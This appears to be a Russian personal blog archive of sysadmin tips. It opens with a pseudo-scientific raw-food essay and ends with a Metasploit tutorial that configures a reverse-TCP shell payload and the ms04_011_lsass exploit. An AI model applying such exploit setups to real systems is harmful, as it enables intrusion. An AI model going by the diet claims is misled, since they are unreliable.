Но потом наступает голод – это Совесть выходит из задворков души и начинает свою извечную тему: «Для чего ты живешь? Неужели ты мечтал о такой жизни в детстве? Неужели ВСЯ ЖИЗНЬ так и пройдет мимо, утонув в серости будней???» И мы закидывает очередной кусочек мяса, хлеба или шоколада – и задвигаем этот навязчивый голос куда-нибудь подальше. Как же он надоел – все нудит и нудит. Вроде всё есть и семья, и квартира, и работа, и машина и отдых раз в году на море. И мы не замечаем, как превращаемся в винтики огромной Матрицы, которая и строит свою империю на основе отключения человека от СОВЕСТИ.

А спроси у большинства людей, а почему же ты не наедаешься вишенками, яблочками или грушами? Почему же когда поел фруктов, нет ни сытости, ни голода, а есть ясность и бодрость? Чтобы лично ответить на этот вопрос нужно позволить своей Совести занять достойное место в жизни.

Природа создавала тело человека, как и тела всех млекопитающих, для питания сырой пищей, зайцы едят сырую (нежареную) траву, волки едят сырых (нежареных) зайцев, бактерии съедают сырых волков после смерти оных. Человек на природном сыром питании видит обнаженную реальность, не замутненную пищевым наркотическим угаром. Голос Совести громогласно и радостно звучит только в здоровом теле и ясном сознании.

Здоровое тело имеют люди, которые живут по ЗапоВедям Природы. ЗапоВеди эти очевидны: дыши чистым воздухом, пей чистую сырую воду, ешь чистую свежую пищу в сыром виде. Причём пища, как концентрированная энергия жизни, оказывает максимально сильное воздействие на сознание человека. Следует заметить, что овощи и фрукты, выращенные промышленным химизированным способом, к природному человеческому питанию отношения не имеют – это просто более слабые пищевые наркотики.

Даже в Библии в книге Бытия от имени Бога людям сказано: «Даю вам в пищу плод от всякого древа и всякую траву семя сеющую.» И только с извращенной подачи какого-то Господа человек начал жарить и парить фрукты, овощи и мясо. В древнерусских народных сказках в плане питания особо выделяются молодильные яблоки и волшебные травы, что так же показывает приоритет фруктов и зелени.

На природном питании человек не испытывает ни сытости, ни голода, он не может ни курить, ни пить алкоголь, есть только ясность и понимание как вернуть Райское Цветение и Красоту на Землю.

четверг, 30 июня 2011 г.

External VNC viewer for KVM

#!/bin/bash
ip addr show eth0 | grep inet
echo "VDS: $1 Password $2 Port: 5$1  "
Wait connection...
nc -l -p 5$1 -c "qm vncproxy $1 $2"


или

#remote
socat TCP-LISTEN:5500 EXEC:'ssh root@tee.schottelius.org "socat STDIO UNIX-CONNECT:/home/services/vms/vnc-socket"'

#local
xtightvncviewer -encodings "copyrect tight hextile zlib corre rre raw" localhost:5500

или через программку из проекта Proxmox
vncterm [VNCOPTS] [-c command [ARGS]]
#example:
vncterm -c vzctl enter VMID
vncterm -rfbport 5900 -passwdfile FILE -timeout 20 -c vzctl enter 104

пятница, 17 июня 2011 г.

How Google works

В картинках

http://i.imgur.com/QMYuK.jpg

вторник, 14 июня 2011 г.

mysql kill long query

mysql -e 'show processlist\G' |\
egrep -b5 'Time: [0-9]{2,}' |\
grep 'Id:' |\
cut -d':' -f2 |\
sed 's/^ //' |\
while read id
do
    mysql -e "kill $id;"
done

а что бы это работало без пароля нужно прописать пароли в файл ~/.my.cnf
http://all-abouts-all.blogspot.com/2011/06/mysql-without-password.html

mysql without password

A basic ~/.my.cnf file has the following lines. A pound sign '#' before any line means that line should be ignored by the MySQL interpreter.

[client]
user = DBUSERNAME
password = DBPASSWORD
host = DBSERVER

[mysql]
database = DBNAME

воскресенье, 12 июня 2011 г.

EPEL repository to CentOS 5.6

# rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm
# yum install yum-priorities

mysql mtop by bash

#!/bin/bash
if [ ! -z $1 ]; then
 export MTOPU="-uroot"
 export MTOPPW="-p$1"
fi
if [ -f /root/.my.cnf  ]; then
        MTOPU=' '
        MTOPPW=' '
fi
if [ -z $MTOPU  ] && [ -z $MTOPPW] && [ $MTOPU != ' ' ];  then
 echo "User/Password!!"
 read -p 'user:' us
 read -s -p 'pw:' pw
 export MTOPU="-u${us}"
 export MTOPPW="-p${pw}"
# exit;
fi
clear;
watch "top -b | head; mysqladmin -u $MTOPU -p$MTOPPW status;echo; mysqladmin $MTOPU $MTOPPW processlist | head -20"

exit; 

пятница, 10 июня 2011 г.

SuEXEC + Fast-CGI = upload error 500

Замечательная ошибка 500 при загрузке файла пхп скриптом .
Лекарство

/etc/apache2/mods-available/fcgid.conf


MaxRequestLen 15728640


PS: чем дальше тем больше я начинаю "обожать" php и особенно его последние развитие (Ошибки из-за сообщений DEPRICATED уже достали, и ведь они не всегда исправляються изменением переменной конфига error_reporting ).

воскресенье, 29 мая 2011 г.

simple token algorithm with PHP

function uid($n, $len1=5, $len2=15, $base=36)
  {
    $id_part = base_convert($n, 10, $base);
    $rand_part = str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789');
    return sprintf("%0".$len1."s-%.".$len2."s", $id_part, $rand_part);
  }   

source: http://stackoverflow.com/questions/2377633/how-create-an-unique-20-single-byte-token-key-id-on-php

понедельник, 23 мая 2011 г.

Port forwarding on Linux without iptables?

socat TCP4-LISTEN:80,fork TCP4:www.yourdomain.org:8080

http://serverfault.com/questions/252150/port-forwarding-on-linux-without-iptables

четверг, 19 мая 2011 г.

Устраняем тормаза в ssh сессии debian

ServerAliveCountMax 3
ServerAliveInterval 10

понедельник, 16 мая 2011 г.

How to throttle bandwidth on a Linux network interface or app?

trickle should do what you want. If your running Ubuntu (or Debian, I think), you can install it with sudo apt-get install trickle, and then run it. trickle -s -d 10 -u 10 firefox (or so, I haven't used it in a while) would run firefox, limiting its download and upload speed to 10 kilobytes a second.

tc qdisc add dev tap0 root netem delay 50ms loss 50%
To add 20ms delay "tc qdisc add dev lo root handle 1:0 netem delay 20msec", and to remove it "tc qdisc del dev lo root"

wondershaper eth0 1000 200

суббота, 30 апреля 2011 г.

параллельный ssh

split -b 500m big.tgz big.tgz-part-

for i in `ls *-part-*`; do (sleep 3; scp -P 22 -i /root/.ssh/id_rsa $i root@target:/backup/ &); done
#or
for i in `ls *-part-*`; do (sleep 3; rsync -a --rsh "ssh -p 22 -i /root/.ssh/id_rsa" $i root@target:/backup/ &); done

mysql InnoDB disabled (Unknown)


mysql> SHOW VARIABLES LIKE 'have_innodb';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| have_innodb | NO |
+---------------+-------+
1 row in set (0.00 sec)



IN /etc/mysql/my.cnf
innodb_buffer_pool_size=1000M # or someone
Restart mysql


mysql> SHOW VARIABLES LIKE 'have_innodb';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| have_innodb | NO |
+---------------+-------+


mysql stop
Remove /var/lib/mysql/ib_logfile*


mysql start
PROFIT


mysql> SHOW VARIABLES LIKE 'have_innodb';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| have_innodb | YES |
+---------------+-------+

mysql check

mysqlcheck -Aaco --auto-repair -u root -p

четверг, 21 апреля 2011 г.

Network File Copy using SSH

Network File Copy using SSH
http://ultra.ap.krakow.pl/~bar/DOC/ssh_backup.html
Updated February 20, 2003
Created April 23, 2001
Please note that &&, ||, and -, are documented at the bottom of this page.
PUSH:

    * tar cvf - . | gzip -c -1 | ssh user@host cat ">" remotefile.gz
    * ssh target_address cat " remotefile
    * ssh target_address cat " remotefile
    * cat localfile | ssh target_address cat ">" remotefile
    * cat localfile | ssh target_address cat - ">" remotefile
    * dd if=localfile | ssh target_address dd of=remotefile
    * ssh target_address cat     * ssh target_address cat -     * ( cd SOURCEDIR && tar cf - . ) | ssh target_address "(cd DESTDIR && tar xvpf - )"
    * ( cd SOURCEDIR && tar cvf - . ) | ssh target_address "(cd DESTDIR && cat - > remotefile.tar )"
    * ( cd SOURCEDIR && tar czvf - . ) | ssh target_address "(cd DESTDIR && cat - > remotefile.tgz )"
    * ( cd SOURCEDIR && tar cvf - . | gzip -1 -) | ssh target_address "(cd DESTDIR && cat - > remotefile.tgz )"
    * ssh target_address "( nc -l -p 9210 > remotefile & )" && cat source-file | gzip -1 - | nc target_address 9210
    * cat localfile | gzip -1 - | ssh target_address cat ">" remotefile.gz


PULL:
# ssh target_address cat remotefile > localfile
# ssh target_address dd if=remotefile | dd of=localfile
# ssh target_address cat "<" remotefile >localfile
# ssh target_address cat "<" remotefile.gz | gunzip >localfile

COMPARE:
# ###This one uses CPU cycles on the remote server to compare the files:
# ssh target_address cat remotefile | diff - localfile
# cat localfile | ssh target_address diff - remotefile
# ###This one uses CPU cycles on the local server to compare the files:
# ssh target_address cat

Push: Push local file to remote server.
Pull: Pull remote file from remote server to local machine.

Of course there is always ftp, scp2, nfs, smb and other methods as well.

The above methods make a great Ghost replacement.
One can boot a system using standalone linux on a floppy, such as tomsrtbt and can then proceed to:

   1. backup the local hard drive to a remote server or
   2. download an image from the remote server and place it on the local hard drive.

RSH works just the same as SSH I'm sure, it's jut that ssh or ssh should give you better security.

Note: Compressing and then transferring data is faster than transferring uncompressed data. Use compression before sending data over the wire to achieve faster data transfer speeds.

localfile and remotefile can be files, directories, images, hard drive partitions, or hard drives.
Moving files around on local filesystem:

    * ( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )

FTP VIEW:

    * ftp> get file.gif "| xv -"
    * ftp> get README "| more"

FTP PUSH:

    * ftp> put "| tar cvf - ." myfile.tar
    * ftp> put "| tar cvf - . | gzip " myfile.tar.gz

FTP PULL:

    * ftp> get myfile.tar "| tar xvf -"

Pipes and Redirects:

    * zcat Fig.ps.Z | gv -
    * gunzip -c Fig.ps.gz | gv -
    * tar xvf mydir.tar
    * tar xvf - < mydir.tar
    * cat mydir.tar | tar xvf -
    * tar cvf mydir.tar .
    * tar cvf - . > mydir.tar
    * tar cf - . | (cd ~/newdir; tar xf -)
    * gunzip -c foo.gz > bar
    * cat foo.gz | gunzip > bar
    * zcat foo.gz > bar
    * gzip -c foo > bar.gz
    * cat foo | gzip > bar.gz
    * cat foo | gzip > bar.gz

SSH Keys
see http://www.cpqlinux.com/sshkeys.html
Explanation of &&, ||, and -
&& is shorthand for "if true then do"
|| is shorthand for "if false then do"
These can be used separately or together as needed. The following examples will attempt
to change directory to "/tmp/mydir"; you will get different results based on whether
"/tmp/mydir" exists or not.
cd /tmp/mydir && echo was able to change directory
cd /tmp/mydir || echo was not able to change directory
cd /tmp/mydir && echo was able to change directory || echo was not able to change to directory
cd /tmp/mydir && echo success || echo failure
cd /tmp/mydir && echo success || { echo failure; exit; }

The dash "-" is used to reference either standard input or standard output. The context in which the dash is used is what determines whether it references standard input or standard output.
Homepage: http://www.cpqlinux.com
Site Map: http://www.cpqlinux.com/sitemap-date.html


ext3

single user mode
# init 1
#mount -o ro,remount /dev/sda1
# touch /test
touch: creating `/test': Read-only file system
# mount
/dev/sda1 on / type ext3 (rw)

or
booting to rescue cd
unmounting sda1

Remove the journal feature from the file system (downgrade to ext2)

tune2fs -O ^has_journal /dev/sda1

fsck to delete the journal:

e2fsck -f /dev/sda1

recreate the journal (change back to ext3)

tune2fs -j /dev/sda1

and finally, remount it. On a live system, just reboot it.

Another option would be to change the partition to ext3 in /etc/fstab.

среда, 13 апреля 2011 г.

sed tips&tricks

Удалить теги с файл(ов)

sed -i -e 's#<target>.*</target>##g' file

понедельник, 11 апреля 2011 г.

LVM (LOGICAL VOLUME MANAGER)

1.fdisk /dev/sda ->create 3 partitions + label to 8e
2.partprobe
3.fdisk -l
4.pvcreate /dev/sda8 /dev/sda9
5.pvdisplay /dev/sda8
6.pvdisplay /dev/sda9
7.vgcreate vg0 /dev/sda8 /dev/sda9
8.vgdisplay
9.lvcreate -L +200M -n /dev/vg0/home1
10.lvdisplay /dev/vg0/home1
11.lvcreate -L +300M -n /dev/vg0/var1
12.lvdisplay /dev/vg0/var1
13.mkfs.ext3 /dev/vg0/var1
14 mkfs.ext3 /dev/vg0/home1
15.mkdir /home1
16.mkdir /var1
17.mount /dev/vg0/home1 /home1
18.mount /dev/vg0/var1 /var1
19.cp /etc/a* /home1
20.cp /etc/b* /var1
21.vim /etc/fstab
22.mount -a

TO EXTEND LVM

1.lvdisplay /dev/vg0/home1
2.lvextend -L +200M /dev/vg0/home1
3.ls /home1
4.resize2fs /dev/vg0/home1
5.ls /home1

TO REDUCE LVM

1. lvdisplay
2. umount /var1
3. e2fsck -f /dev/vg0/var1
4. resize2fs /dev/vg0/var1 100M
5. lvreduce -L -100M -n /dev/vg0/var1
6. mount /dev/vg0/var1 /var1
7. df -h

LVM SNAPSHOT

1. lvcreate -L 200M -s -n lv2 /dev/llc/lv1

TO EXTEND PV
1.pvcreate /dev/sda10
2.pvdisplay

TO EXTEND VG
1.vgextend vg0 /dev/sda10
2.vgdisplay vg0

TO REDUCE VG
1.vgreduce vg0 /dev/sda10
2.vgdisplay

TO REDUCE PV
1.pvremove /dev/sda10
2.pvdisplay

REMOVE LVM
1.lvdisplay
2.umount /dev/vg0/home1
3.umount /dev/vg0/var1
4.vim /etc/fstab
5.lvremove /dev/vg0/home1
6.lvremove /dev/vg0/var1
7.lvdisplay

REMOVE VG
1.vgdisplay
2.vgremove /dev/vg0
3.vgdisplay

REMOVE PV
1.pvdisplay
2.pvremove /dev/sda9
3.pvremove /dev/sda8

Источник: http://www.redhatlinux.info/2010/11/lvm-logical-volume-manager.html

Клонирование диска в архив с отображение прогресса:
# dd if=/dev/vgdata/win2008 conv=sync,noerror bs=64k | pv -s 106G -pebrt | gzip -c > /mnt/data/lvm-image/win2008.lvm.raw.gz
21GB 0:03:59 [  10MB/s] [>                                       ]  2% ETA 3:07:21

воскресенье, 10 апреля 2011 г.

Tips&tricks

empty file
root@test:/tmp# dd if=/dev/zero of=templun3 count=0 obs=1 seek=200G
0+0 records in
0+0 records out
0 bytes (0 B) copied, 4.1537e-05 s, 0.0 kB/s
root@test:/tmp# ls -al *lun3*
-rw-r--r-- 1 root root 214748364800 2008-05-03 04:43 templun3

среда, 6 апреля 2011 г.

symfony render PDF 2

require_once("dompdf_config.inc.php");
$html =
    '<html><body>'.
    '<p>Some text</p>'.
    '</body></html>';

$this->$dompdf = new DOMPDF();
$this->$dompdf->load_html($html);
$this->dompdf->set_paper('a4', 'portrait');
$this->dompdf->render();
$pdf = $this->dompdf->output()

$response = $this->getContext()->getResponse();
$response->clearHttpHeaders();
$response->setHttpHeader('Pragma', 'public');
$response->setHttpHeader('Cache-Control', '');
$response->setHttpHeader('Content-Type', 'application/pdf');
// line deleted
$response->setContent($pdf);

return sfView::NONE;

symfony render PDF

public function executePdf(sfWebRequest $request)
  {
    $this->certificate = Doctrine_Core::getTable('Certificate')->findOneByToken(array($request->getParameter('token')));
    $this->forward404Unless($this->certificate);
  //$config = sfTCPDFPluginConfigHandler::loadConfig();
  // pdf object
  $pdf = new myPDF();

  // settings
  $pdf->SetFont("FreeSerif", "", 12);
  /*
  $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
  $pdf->setHeaderFont(array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
  $pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE, PDF_HEADER_STRING);
  $pdf->setFooterFont(array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
  $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
  $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
*/
  //$pdf->setPrintHeader(false);
  $pdf->setPrintFooter(false);
  
  // init pdf doc
  //$pdf->AliasNbPages();
  $pdf->AddPage('L', array(132,66));
  $pdf->Cell(80, 10, "Certificate číslo: ". $this->certificate->token);

  $this->setLayout(false);
  // output
  $response = $this->getContext()->getResponse();
$response->clearHttpHeaders();
$response->setHttpHeader('Pragma', 'public');
$response->setHttpHeader('Cache-Control', '');
$response->setHttpHeader('Content-Type', 'application/pdf');
$response->setHttpHeader('Content-Disposition', 'attachment; filename="invoice.pdf"');
$response->setContent($pdf->Output());

return sfView::NONE;

//  return $pdf->Output();

  // Stop symfony process
 // throw new sfStopException();

  }
}

include '/var/www/oleg/slevy/plugins/sfTCPDFPlugin/lib/tcpdf/tcpdf.php';
// Extend the TCPDF class to create custom Header and Footer
//class MYPDF extends sfTCPDF {
class MYPDF extends TCPDF {


    //Page header
    public function Header() {
        // full background image
        // store current auto-page-break status
        $bMargin = $this->getBreakMargin();
        $auto_page_break = $this->AutoPageBreak;
        $this->SetAutoPageBreak(false, 0);
        $img_file = sfConfig::get('sf_web_dir') . '/images/bg_kupon.jpg';
        $this->Image($img_file, 0, 0, 132, 66, '', '', '', false, 300, '', false, false, 0);
        // restore auto-page-break status
        $this->SetAutoPageBreak($auto_page_break, $bMargin);
    }
}

вторник, 5 апреля 2011 г.

psql tips&tricks

Аналог mysql Group_concat
SELECT array_to_string(array(SELECT DISTINCT a FROM b),', ');


вывод результата в psql во вшешний файл
\o /tmp/text.txt
SELECT array_to_string(array(SELECT DISTINCT a FROM b),', ');

воскресенье, 3 апреля 2011 г.

OpenErp lanchpad

Howto bazar
http://doc.bazaar.canonical.com/latest/en/mini-tutorial/
http://doc.bazaar.canonical.com/latest/en/user-guide/index.html

lanchpad paths:
http://bazaar.launchpad.net/~openerp-community/openobject-addons/trunk-addons-community/files

OpenErp Logger

   import netsvc
   netsvc.Logger().notifyChannel('my_module_or_tag', netsvc.LOG_DEBUG, "Hello")

четверг, 31 марта 2011 г.

rtmp dump

Для начала скачиваем rtmpdump (берем последнюю версию) распаковываем
tar xvf rtmpdump-2.3.tgz
cd rtmpdump*
Копилируем
make
если появляются ошибки типа "No such file or directory", значит в вашей системе не хватает необходимых библиотек. Доустанавливаем необходимое: мне не хватало openssh/ssh.h
$aptitude search ssh
...
libssh-dev # <=  необходим пакет с суффиксом -dev (это исходные коды)
...
$# ставим 
$sudo aptitude install libssh-dev
$# опять пробуем собрать rtmpdump
$make
Если удачно пакет собрался, то в папке найдете rtmpdump. Устанавливаем ему права на запуск
$ chmod +x rtmpdump

А теперь по шагам 1) start wireshark
$ sudo wireshark 
Запускаем захват снифиринг пакетов на сетевом интерфейсе подключенном к инету (обычно eth0)
в ФИльтер пишем Filter: rtmpt
2) Теперь переключаемся в браузер и открываем нужный ролик, нажимаем Play. Переключаемся в wireshark и видим в первых строках Handshake. По этой строке правой клавишей мыши и выбираем Follow tcp
3) в открывшемся окне запускаем поиск и ищем слова "connect" или "app" или "play" (мне обычно хватает поиска по play) Find: "connect" "app" "play"

4) Теперь в папке скопилированного rtmpdump создаем скрипт (можно любым редактором, я использую nano)
$ nano run.sh
в файл вставляем
#!/bin/sh
SERVER="rtmp://video-3-1.rutube.ru:1935/rutube_vod_2/_definst_"
FILENAME="mp4:vol24/movies/6f/6d/6f6d7247b6d61bb5999b7bfe60aac8db.mp4"
# url берем прямо с адресной строки браузера
URL="http://rutube.ru/tracks/3194354.html?v=6f6d7247b6d61bb5999b7bfe60aac8db"
#адрес плаера, можно взять или из исходного кода страницы, или из окна Follow tcp снифера (все значения находится в соседних строках)
PLAYER="http://rutube.ru/player.swf"
# искомый файл в формате flv
OUTFILE="v.flv"

./rtmpdump -r $SERVER -t $SERVER -y $FILENAME -p $URL -s $PLAYER -o $OUTFILE
из Follow tcp окна заменяем соответсвующие переменные на значение вашего ролика

вместо wireshark можно

$ sudo cat /proc/kcore | strings | awk 'length > 20' | grep rtmp | grep -o 'rtmp:[^"]*' | grep ".mp4"
или tcpdump

ИЛИ rtsp
$ mencoder rtsp://yatv.chanson.cdnvideo.ru:554/chanson-live/shansontv.sdp -oac mp3lame -lameopts cbr:br=56 -ovc x264 -x264encopts bitrate=100 -rtsp-stream-over-tcp -o F.avi
ИЛИ
$ mplayer -noframedrop -dumpfile out.rm -dumpstream rtsp://yatv.chanson.cdnvideo.ru:554/chanson-live/shansontv.sdp

VLC
$ cvlc rtsp://yatv.chanson.cdnvideo.ru:554/chanson-live/shansontv.sdp :sout=#transcode{vcodec=h264,vb=768,ab=64,acodec=mp3,samplerate=44100,deinterlace,high-priority}:std{access=http,dst=0.0.0.0:8080/stream.flv} 

воскресенье, 27 марта 2011 г.

generic samba.conf


[global]
   workgroup = WORKGROUP
   server string = %h server (Samba, Ubuntu)
   netbios name = srv.local
   security = user

   dns proxy = no
   log file = /var/log/samba/log.%m
   max log size = 1000
   syslog = 0
   panic action = /usr/share/samba/panic-action %d
   encrypt passwords = true
   passdb backend = tdbsam
   obey pam restrictions = yes
   unix password sync = yes
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
   pam password change = yes
   map to guest = bad user
   usershare allow guests = yes
   guest account = nobody
[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no

[public$]
comment = public backup
path = /mnt/data/backup
writeable = yes
browseable = no
create mask = 0666
directory mask = 0777
public = yes
profile acls = yes
csc policy = disable
guest ok

среда, 23 марта 2011 г.

linux audio over network

Звук берем через pulseaudio server
находим название аудио устройства:
$ pactl list | grep alsa_out
Name: alsa_output.pci-0000_00_07.0.analog-stereo
Monitor Source: alsa_output.pci-0000_00_07.0.analog-stereo.monitor # - это аудиовыход который нужен
Name: alsa_output.pci-0000_00_07.0.analog-stereo.monitor
Monitor of Sink: alsa_output.pci-0000_00_07.0.analog-stereo
запись в файл
$ pacat -r -d alsa_output.pci-0000_00_07.0.analog-stereo.monitor | sox -t raw -r 44100 -s -L -b 16 -c 2 - output.wav
звук по сети
pacat -r -d alsa_output.pci-0000_00_1b.0.analog-stereo.monitor | ssh user@192.168.1.1 "play -t raw -r 44100 -c -s -b 16 -" 
или через netcat
на стороне сервера
pacat -r -d alsa_output.pci-0000_00_1b.0.analog-stereo.monitor | nc -l 8008
на стороне клиента
nc 192.168.1.1 8008 | pv -b | pacat -p --latency-msec=5000 --process-time-msec=5000 



PS: так и несмог избавиться от запаздывания звука на 2-5сек на стороне клиента :(

суббота, 19 марта 2011 г.

Metasploit: mini manual

Небольшой мануальчик.

Цитата

Интерфейс консоли.
После установки Framework надо убедиться в том, что всё работает как надо. Самый простой способ сделать это - запустить msfconsole. Если ты используешь Windows, запусти MSFWEB и зайди на него через свой браузер. Консоль должна отобразить ASCII лого, написать версию, подсчитать модули и выбросить к самой командной строке. Для получения списка комманд напиши HELP. Сейчас ты находишься в "основном" режиме. Он позволяет посмотреть список эксплоитов, начинок и получить доступ к глобальным (общим) настройкам. Для получения листинга эксплоитов напиши SHOW EXPLOITS. Чтобы получить более подробную информацию об определенном эксплоите напиши INFO MODULE_NAME. Интерфейс консоли был сделан таким образом, чтобы быть гибким и быстрым. Если ты ввел комманду и она небыла распознана консолью, она (консоль) сама просканирует систему на наличие такой команды. Если она найдет совпадение, то комманда исполнится в соответствии с заданными аргументами (если ты используешь консоль через MSFWEB, то эта функция будет отключена по причинам безопасности). Это позволяет использовать стандартный набор инструментов не покидая консоль.

Интерфейс коммандной строки.
Если ты ищешь возможность автоматизировать процесс тестирования эксплоитов, или просто не хочешь использовать интерактивный интерфейс, MSFCLI - вот что тебе нужно. Этот интерфейс берет имя модуля как первый параметр и сопровождается опциями в формате VAR=VAL, и в конце код действия, для указания того, что должно быть сделано. Имя модуля используется для того, чтобы определить какой вспомогательный модуль ты хочешь запустить. Код действия - одна буква: S - для суммы (итога), O - для опций, A - для "продвинутых" опций, I - для обхода IDS, P - для начинок, T - для целей, AC - для вспомогательных действий, C - для проверки на уязвимость и E - для эксплоита. Сохраненный datastore будет загружен и использован при запуске, давая возможность настроить удобные настройки в глобальном или определенном модуле datastore в msfconsole, сохрани их, и воспользуйся ими в msfcli интерфейсе.

Веб-интерфейс.
MSFWEB интерфейс основывается на Ruby on Rails. Для использования этого интерфейса тебе нужны пакеты rubygems и соответствующие версии rails gem. После установки rubygems ты можешь получить rails для них используя соответствующую комманду (версия для Windows уже имеет встроенные как rubygems, так и rails для них).
$ gem install -v1.2.2 rails

После конфигурации rails, запусти msfweb чтобы "поднять" сервер. Msfweb интерфейс использует WEBrick вебсервер для осуществления запросов. По умолчанию, msfweb будет прослушивать адрес 127.0.0.1 на порту 55555. В появившемся лог-сообщении будет написано, что сервис запущен. Чтобы получить доступ к интерфейсу открой браузер на соответствующем URL (http://127.0.0.1:55555/ по умолчанию). Основной интерфейс MSFWEB состоит из панели, содержащий в себе разнообразные иконки и задний фон с изображением логотипа Metasploit. Если ты хочешь получить доступ к консоли, кликни на линк Console. Эта консоль почти идентична консоли msfconsole. Эксплоиты, Вспомогательные модули, Начинки и т.д. проведут тебя через процесс выбора модуля, настройки его и запуска. Как только эксплоит запущен создается сессия, ты можешь получить эти сессии по линку Sessions. Эти иконка будут открывать дополнительное окно на странице. Это окно может быть перемещено, свернуто, развернуто и закрыто.

[DataStore]
Глобальный DataStore.
Доступ к глобальному DataStore можно получить через комманды в консоли: setg и unsetg. Пример ниже показывает состояние глобального DataStore сразуже после инсталяции. Комманда SETG без аргументов выводит содержимое DataStore на этот момент. Настройки по умолчанию загружаются вместе с самим интерфейсом.
msf > setg


Global

===== 

No entries in datastore

DataStore модулей.
Доступ к этому DataStore можно получить через комманды set и unset. Этот DataStore относится только к толькочто загруженному модулю. Переключение между модулями через комманду use приведет к тому, что в DataStore модуля для этого модуля будет "засвоплена" (соединена чтоли) с DataStore нового модуля. Если ни один модуль не активен, комманды set и unset будут оперировать с глобальным DataStore. Переключение обратно к исходному модулю создаст новый DataStore для него. Для того чтобы сохранить информацию в глобальном DataStore или DataStore модуля нужно использовать комманду save.

Сохраненный DataStore.
Комманда save используется для синхронизации глобального и модульного DataStore на диск. Сохраненная окружающая среда записывается в HOME/.msf3/config и будет загружена когда какой-нибудь пользователь запустит интерфейс.

Эффективность DataStore.

Разделенная DataStore система позволяет сохранить время в процессе разработки эксплоитов и проверки на уязвимости. Основные настройки эксплоитов могут быть определены в глобальном DataStore один раз и они могут постоянно использоваться в любом эксплоите впреть. Пример, приведенный ниже, показывает как datastore модулей LPORT, LHOST и PAYLOAD могут быть использованы для сохранения времени во время взлома Windows системы. Если этот DataStore был установлен и Linux эксплоит был использован, DataStore модуля (через set и unset) может быть использован для отменения настроек по умолчанию.
msf > setg LHOST 192.168.0.10

LHOST => 192.168.0.10

msf > setg LPORT 4445

LPORT => 4445

msf > setg PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf > use windows/smb/ms04_011_lsass

msfexploit(ms04_011_lsass) > showoptions

Module options:

...

Payload options:
                 Name                  Current               Setting                Required    Description
           EXITFUNC                   thread                 yes     Exit technique:seh,thread,process  
              LHOST             192.168.0.10                 yes             The local adress  
              LPORT                   4445                 yes              The local port






Переменные DataStore.
DataStore может быть использована для конфигурирования многих аспектов Framework, от пользовательского интерфейса до определенных промежутков (таймаутов) в сетевом сокете API. Эта часть описывает основные переменные. Полный список переменных можно посмотреть в документации (Environment.txt в поддиректории Framework).

LogLevel.
Эта переменная используется для управления "многословными" (длинными) логами, вырабатываемыми компонентами Framework. Если эта переменная не определена, логирование отключается. Если параметр этой переменной "0", то логирование будет вестись сообщениями по умолчанию. Если параметр этой переменной "1", то логирование будет вестись более короткими сообщениями, что очень удобно при поиске сбоев и ошибок. Если параметр этой переменной "2", то логирование будет вестись в режиме "многословного" дебага (verbose debug logging). Если параметр - "3", то логирование будет вестись всеми возможными способами и может вырабатывать очень большие логи (советую использовать этот режим, только когда нужна дополнительная информация). Сами логи хранятся в поддиректории пользовательской конфигурации (/.msf3/logs).

Выбор модуля.
В интерфейсе MSFCONSOLE ты можешь видеть список модулей, которые доступны для использования. Также список всех модулей можно получить через комманду SHOW ALL. Ещё можно получить список модулей по определенному параметру с помощью команды SHOW MODULETYPE, где MODULETYPE один из эксплоитов, кодировщиков, начинок, параметров и т.д.. Выбрать модуль можно с помощью команды USE и указания имени модуля после комманды в виде аргумента. Получит информацию о модуле можно с помощью комманды INFO.

Модули Эксплоитов.
Эти модули фактически являются модулем для запуска эксплоитов.

Настройка Активных Эксплоитов.
Выбрав эксплоит с помощью комманды USE нужно определить какие настройки ему необходимы. Это может быть сделано с помощью комманды SHOW OPTIONS. Большинство эксплоитов используют RHOST для определения адреса цели и RPORT для определения порта адреса цели. Используй комманду SET для конфигурирования соответствующих значений переменных для всех необходимых настроек. Если тебе не понятно что делает определенный эксплоит, то всегда можно посмотреть его исходный код. Дополнительные настройки доступны к некоторым эксплоит модулям, они (настройки) могут быть просмотрены с помощью комманды SHOW ADVANCED. Настройки для обхода IDS и IPS могут быть просмотрены с помощью комманды SHOW EVASION.

Подтверждение настроек эксплоитов.
вспомогательных Комманда CHECK может быть использована для определения какая система подвержена той уязвимости, которую использует эксплоит. Это быстрый способ проверки того, все ли настройки введены правильно и подвержена ли цель этой атаке. Не все эксплоиты поддерживают функцию проверки. По многим причинам почти невозможно определить какой сервис подвержен атаке, а какой нет, без реального эксплойтинга (реального использования эксплоита) его. Комманда check никогда не приведет к "падению" системы и не сделает её недоступной. Большинство модулей пишут информацию о версии и надеются, что ты прочтешь и подумаешь, перед использованием.
Выбор цели.
Большинство эксплоитов требуют ввода переменной TARGET. Комманда SHOW TARGETS выведет список всех поддерживаемых эксплоитов целей. Многие эксплоиты по умолчанию стоят в режиме bruteforce, что не всегда подходит под ситуацию.

Выбор начинки.
